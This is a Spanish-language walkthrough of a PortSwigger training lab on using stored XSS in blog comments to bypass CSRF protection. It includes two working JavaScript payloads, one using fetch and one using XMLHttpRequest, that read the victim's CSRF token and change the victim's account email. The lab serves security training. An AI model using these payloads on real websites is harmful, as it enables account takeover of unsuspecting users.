Exploiting XSS to bypass CSRF defenses
Laboratorio de Portswigger sobre XSS
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad de XSS almacenado en la función de comentarios del blog. Para resolver el laboratorio, debemos explotar la vulnerabilidad para robar un token CSRF, que luego podemos usar para cambiar la dirección de correo electrónico de alguien que vea los comentarios de la publicación del blog. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter
Guía de XSS
Antes de completar este laboratorio es recomendable leerse esta guía de XSS https://justice-reaper.github.io/posts/XSS-Guide/
Resolución
Al acceder a la web nos sale esto
Si pulsamos sobre My account nos podemos loguear con las credenciales wiener:peter
Vemos que podemos cambiar nuestro email
Si capturamos la petición con Burpsuite vemos que se envía el email y el token CSRF
Si inspeccionamos el código fuente de la web también podemos ver el token CSRF
Si pulsamos sobre View post vemos que tenemos una sección en la que podemos hacer comentarios
Al hacer un comentario nos mete el input en unas etiquetas <p></p>
Sin embargo, si intentamos inyectar algo entre etiquetas <h1></h1> vemos que nos inyecta las etiquetas con su contenido y deja las <p></p> vacías
Si nos abrimos el inspector de Chrome y le echamos un vistazo a las cookies vemos que tienen las flags HttpOnly y Secure. HttpOnly nos impide acceder a la cookie a través de JavaScript y Secure nos obliga a que la cookie solo se transmita a través de conexiones seguras HTTPS
Si vemos el código fuente observamos que al publicar un comentario también existe un token CSRF
Para obtener el valor del token CSRF podemos hacerlo con document.getElementsByName('csrf')[0].value
Aunque no podamos enviar información a nuestro servidor porque tiene las flags HttpOnly y Secure podemos usar el XSS para hacer que el usuario víctima cambie su email o publique un mensaje con sus cookies
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
window.addEventListener('DOMContentLoaded', function() {
var token = document.getElementsByName('csrf')[0].value;
var data = new FormData();
data.append('csrf', token);
data.append('email', 'evil@hacker.net');
fetch('/my-account/change-email', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
Otra alternativa sería usar XMLHttpRequest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();
function handleResponse() {
var parser = new DOMParser();
var doc = parser.parseFromString(this.responseText, 'text/html');
var token = doc.querySelector('input[name="csrf"]').value;
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf=' + token + '&email=test@test.com');
};
</script>











